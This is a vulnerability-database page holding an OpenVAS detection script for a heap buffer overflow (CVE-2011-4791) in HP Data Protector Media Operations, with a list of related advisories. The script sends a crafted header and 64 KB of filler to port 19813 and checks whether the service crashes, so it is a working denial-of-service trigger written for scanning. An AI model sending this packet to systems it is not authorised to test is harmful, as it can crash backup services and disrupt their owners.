HP Data Protector Media Operations Heap Buffer Overflow Vulnerability
🗓️ 08 Nov 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType
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| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2011-4791 | 3 Feb 201202:00 | – | cve | |
| CVE-2011-4791 | 3 Feb 201202:00 | – | cvelist | |
| HP Data Protector Media Operations Server 'DBServer.exe' Remote Code Execution | 8 Feb 201200:00 | – | nessus | |
| CVE-2011-4791 | 3 Feb 201204:05 | – | nvd | |
| HP Data Protector Media Operations Heap Buffer Overflow Vulnerability | 8 Nov 201100:00 | – | openvas | |
| Design/Logic Flaw | 3 Feb 201204:05 | – | prion | |
| CVE-2011-4791 | 22 May 202509:48 | – | redhatcve | |
| [security bulletin] HPSBMU02739 SSRT100280 rev.1 - HP Data Protector Media Operations, Remote Execution of Arbitrary Code | 13 Feb 201200:00 | – | securityvulns | |
| HP Data Protector Media Operations integer overflow | 13 Feb 201200:00 | – | securityvulns |
| Source | Link |
|---|---|
| zerodayinitiative | www.zerodayinitiative.com/advisories/ZDI-11-112/ |
| secunia | www.secunia.com/advisories/46688 |
| packetstormsecurity | www.packetstormsecurity.org/files/106591/hpdpmedia_2-adv.txt |
| aluigi | www.aluigi.altervista.org/adv/hpdpmedia_2-adv.txt |
| securityfocus | www.securityfocus.com/bid/47004 |
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802269");
script_version("2026-04-28T06:28:06+0000");
script_cve_id("CVE-2011-4791");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"creation_date", value:"2011-11-08 11:11:11 +0530 (Tue, 08 Nov 2011)");
script_tag(name:"last_modification", value:"2026-04-28 06:28:06 +0000 (Tue, 28 Apr 2026)");
script_name("HP Data Protector Media Operations Heap Buffer Overflow Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Buffer overflow");
script_dependencies("find_service.nasl");
script_require_ports(19813);
script_xref(name:"URL", value:"https://secunia.com/advisories/46688");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47004");
script_xref(name:"URL", value:"http://zerodayinitiative.com/advisories/ZDI-11-112/");
script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/hpdpmedia_2-adv.txt");
script_xref(name:"URL", value:"http://packetstormsecurity.org/files/106591/hpdpmedia_2-adv.txt");
script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to execute
arbitrary code within the context of the application or cause a denial of service condition.");
script_tag(name:"affected", value:"HP Data Protector Media Operations versions 6.20 and prior.");
script_tag(name:"insight", value:"The flaw is due to a boundary error when processing large size
packets. This can be exploited to cause a heap-based buffer overflow via a specially crafted
packet sent to port 19813.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.");
script_tag(name:"summary", value:"HP Data Protector Media Operations is prone to a buffer overflow vulnerability.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
port = 19813; # Default Port
if(!get_port_state(port)){
exit(0);
}
soc = open_sock_tcp(port);
if(!soc){
exit(0);
}
res = recv(socket:soc, length:512);
if("MediaDB.4DC" >!< res){
close(soc);
exit(0);
}
head = raw_string(0x03, 0x00, 0x00, 0x01, 0xff, 0xff, 0xf0, 0x00, 0x01, 0x02,
0x03, 0x04, 0x04);
junk = crap(data:"a", length:65536);
send(socket:soc, data:head + junk);
close(soc);
sleep(3);
if(!soc1 = open_sock_tcp(port)){
security_message(port);
exit(0);
}
if(! res = recv(socket:soc1, length:512)){
security_message(port);
}
close(soc1);
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28 Apr 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 210
EPSS0.0831